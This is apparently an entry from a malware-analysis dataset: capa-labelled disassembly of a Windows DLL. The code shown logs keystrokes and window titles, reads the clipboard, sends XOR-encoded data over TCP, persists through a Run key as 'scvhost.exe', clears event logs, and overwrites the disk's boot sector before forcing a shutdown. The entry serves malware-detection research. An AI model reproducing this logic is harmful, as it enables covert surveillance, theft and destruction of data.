joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001392
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10001409
push ebx
push esi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
test esi, esi
jne 0x100013e9
push edi
mov esi, 0x1000a010
lea edi, [ebp - 0x14]
lea eax, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push eax
movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp - 4]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10003c58
pop edi
jmp 0x100013fa
push esi
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp - 4]
push eax
push esi
call fcn.10003c58
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
leave
ret

Function at 0x1000140b
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x347]
mov byte [ebp - 0x348], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x348]
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x243]
mov byte [ebp - 0x244], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x244]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x244]
push str.TencentUsers.
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov edi, eax
lea eax, [ebp - 0x140]
push eax
push edi
call esi
lea eax, [ebp - 0x140]
push eax
push edi
call esi
test eax, eax
je 0x100014fe
test byte [ebp - 0x140], 0x10
je 0x100014a3
lea eax, [ebp - 0x114]
push 0x1000a020
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x114]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebx + 0x1000bda0]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x114]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x1c
add ebx, eax
jmp 0x100014a3
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001503
Capabilities:
Contain obfuscated stackstrings
Shutdown system
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x230]
push 0x1000c1a0
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x14]
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push eax
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x48
mov byte [ebp - 0xe], 0x59
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x49
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0x4c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x52
mov byte [ebp - 6], 0x49
mov byte [ebp - 5], 0x56
mov byte [ebp - 4], 0x45
mov byte [ebp - 3], 0x30
mov byte [ebp - 2], bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001663
push esi
lea eax, [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90018
push edi
call esi
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [ebp - 0x230]
push 0x200
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
pop esi
jae 0x10001653
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x2c]
push eax
push str.SeShutdownPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push ebx
push ebx
lea eax, [ebp - 0x30]
push ebx
push eax
push ebx
push dword [ebp - 0x18]
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop ebx
leave
ret

Function at 0x100018ad
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x100018cc
mov dl, byte [ecx + eax]
xor dl, 0x19
add dl, 0x46
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x100018b9
ret

Function at 0x100018cd
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x100018ec
mov dl, byte [ecx + eax]
sub dl, 0x46
xor dl, 0x19
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x100018d9
ret
Function at 0x100018ed
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x100074b1
call fcn.1000723c
sub esp, 0x198
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
call fcn.10001000
xor ebx, ebx
lea ecx, [esi + 0x14]
mov dword [ebp - 4], ebx
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a4]
mov dword [esi], 0x10008310
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or dword [esi + 0x48], 0xffffffff
mov dword [esi + 0x4c], eax
lea eax, [ebp - 0x10]
push 3
push eax
lea eax, [esi + 0x50]
push eax
mov byte [esi + 0x53], bl
mov byte [ebp - 0x10], 0x78
mov byte [ebp - 0xf], 0x79
mov byte [ebp - 0xe], 0x20
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov eax, esi
mov dword fs:[0], ecx
pop esi
pop ebx
leave
ret

Function at 0x10001a37
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov esi, ecx
call fcn.10001e08
push dword [esi + 0x4c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
xor ebx, ebx
push 1
push 2
mov byte [esi + 0x53], bl
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x48], eax
je 0x10001aa9
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
cmp edi, ebx
je 0x10001aa9
push dword [ebp + 0xc]
mov word [ebp - 0x24], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0x48]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001aad
xor al, al
jmp 0x10001b16
push 1
lea eax, [ebp - 4]
pop edi
push 4
push eax
push 8
push 0xffff
push dword [esi + 0x48]
mov dword [ebp - 4], edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001afa
push ebx
lea eax, [ebp - 8]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push 0xc
push eax
push 0x98000004
push dword [esi + 0x48]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x2bf20
mov dword [ebp - 0xc], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push ebx
push ebx
push ebx
push esi
push 0x10001b1d
push ebx
push ebx
mov byte [esi + 0x53], 1
call fcn.10006888
mov dword [esi + 0x44], eax
add esp, 0x1c
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10001f7d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
mov edi, ecx
push ebx
call fcn.100018cd
and dword [ebp - 4], 0
mov dword [ebp - 8], ebx
mov ebx, dword [ebp + 0x10]
pop ecx
mov dword [ebp + 8], esi
cmp esi, ebx
mov esi, dword [sym.imp.WS2_32.dll_send]
pop ecx
jb 0x10001fe5
and dword [ebp + 0x10], 0
push 0
push ebx
push dword [ebp - 8]
push dword [edi + 0x48]
call esi
test eax, eax
jg 0x10001fc9
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x10001fb1
cmp dword [ebp + 0x10], 0xf
je 0x10002013
add dword [ebp - 4], eax
add dword [ebp - 8], ebx
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
jae 0x10001fad
xor ebx, ebx
cmp dword [ebp + 8], ebx
jle 0x1000200b
push 0
push dword [ebp + 8]
push dword [ebp - 8]
push dword [edi + 0x48]
call esi
test eax, eax
jg 0x10002003
inc ebx
cmp ebx, 0xf
jl 0x10001fec
cmp ebx, 0xf
je 0x10002013
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x10002016
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10002027
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x10c]
push 0x1000ac2c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x10c]
push str..key
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100020bc
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test edi, edi
pop ecx
mov ebx, eax
jle 0x100020e7
mov ecx, dword [ebp + 8]
sub ecx, ebx
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec edi
jne 0x100020db
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000210b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x1000c20c
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x1000c60c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
and dword [ebp - 4], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x1000c60c]
cmp eax, dword [0x1000c208]
je 0x100021e9
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x100021df
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x414]
push 0x1000a868
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x414]
push eax
call fcn.10002027
push ebx
lea eax, [ebp - 0x414]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x40
mov dword [ebp - 4], 1
mov eax, dword [0x1000c60c]
mov dword [0x1000c208], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002417
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 0x164], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x164]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x36]
rep stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100024ba
lea eax, [ebp - 0x164]
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x100024c1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10007280
push ebx
push esi
push edi
push 0x800
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, 0x104
mov dword [ebp - 4], eax
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
and byte [ebp - 0x90c], 0
mov edx, 0x1ff
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x90b]
and byte [ebp - 0x110c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x110b]
add esp, 0x10
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebx, str.CTXOPConntion_Class
push 0
push ebx
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
mov dword [ebp - 8], eax
je 0x100025f5
and byte [ebp - 0x10c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x100025e5
cmp dword [ebp - 8], eax
je 0x1000258a
lea eax, [ebp - 0x90c]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x90c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
cmp byte [ebp + eax - 0x90c], 0x5f
jne 0x10002597
lea eax, [ebp + eax - 0x90b]
push eax
lea eax, [ebp - 0x110c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100025d4
push 0x1000a914
push dword [ebp - 4]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x110c]
push eax
push dword [ebp - 4]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 2
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetWindow]
jmp 0x1000252e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x10002614
push 0x1000a910
push dword [ebp - 4]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp - 4]
leave
ret

Function at 0x1000297b
Capabilities:
Shutdown system

Disassembly:
push esi
mov esi, str.SeShutdownPrivilege
push 1
push esi
call fcn.10006aa3
pop ecx
pop ecx
push 0
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push esi
call fcn.10006aa3
pop ecx
pop ecx
pop esi
ret
Function at 0x100029e7
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
je 0x10002a34
dec eax
je 0x10002a29
dec eax
je 0x10002a1c
dec eax
jne 0x10002a66
mov eax, 0x1000c1a0
mov dword [ebp - 8], eax
jmp 0x10002a24
mov eax, 0x1000c1a0
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x10002a34
mov eax, 0x1000c1a0
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x10002a5d
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10002a3d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002a68
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
and byte [ebp - 0x428], 0
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
push 0x400
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x428]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
and byte [ebp - 4], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
push eax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x428]
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push eax
push connect
call fcn.10007073
add esp, 0x1c
pop edi
leave
ret
Function at 0x10002ba1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push dword [ebp + 0xc]
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x43
push eax
mov byte [ebp - 0xf], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
call fcn.10002a68
add esp, 0xc
leave
ret
Function at 0x10002c39
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x558
push ebx
push esi
mov esi, 0x104
push edi
xor ebx, ebx
push esi
lea eax, [ebp - 0x15c]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call fcn.10002c06
add esp, 0x14
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x10002d69
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x25f]
mov byte [ebp - 0x260], bl
push 0x20
rep stosd dword es:[edi], eax
push dword [ebp - 4]
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10002c06
pop ecx
test eax, eax
pop ecx
je 0x10002cc0
mov edi, dword [ebp - 4]
push edi
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
cmp eax, ebx
jle 0x10002cd0
cmp byte [eax + edi], 0x20
jne 0x10002ca2
push eax
lea eax, [ebp - 0x260]
push edi
push eax
call fcn.10007035
add esp, 0xc
jmp 0x10002cd0
push dword [ebp - 4]
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
push esi
lea eax, [ebp - 0x15c]
push ebx
push eax
push 1
lea eax, [ebp - 0x260]
push ebx
push eax
push connect
call fcn.10006dc5
add esp, 0x20
test eax, eax
je 0x10002d69
push 0x1f4
lea eax, [ebp - 0x558]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x558]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
lea eax, [ebp - 0x15c]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x363]
mov byte [ebp - 0x364], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push esi
lea eax, [ebp - 0x364]
push ebx
push eax
push 2
lea eax, [ebp - 0x558]
push ebx
push eax
push connect
call fcn.10006dc5
add esp, 0x44
test eax, eax
jne 0x10002d70
xor al, al
jmp 0x10002e27
lea eax, [ebp - 0x15c]
push esi
push eax
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x15c]
push 0x1000a970
push eax
call esi
pop ecx
cmp eax, ebx
pop ecx
jne 0x10002dd5
lea eax, [ebp - 0x15c]
push 0x1000a96c
push eax
call esi
pop ecx
cmp eax, ebx
pop ecx
jne 0x10002dd5
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x15c]
push 0x1000a968
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x15c]
push eax
call esi
jmp 0x10002ddf
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x48], 0x44
je 0x10002dfe
mov dword [ebp - 0x40], str.WinSta0Default
jmp 0x10002e09
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], bx
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x15c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret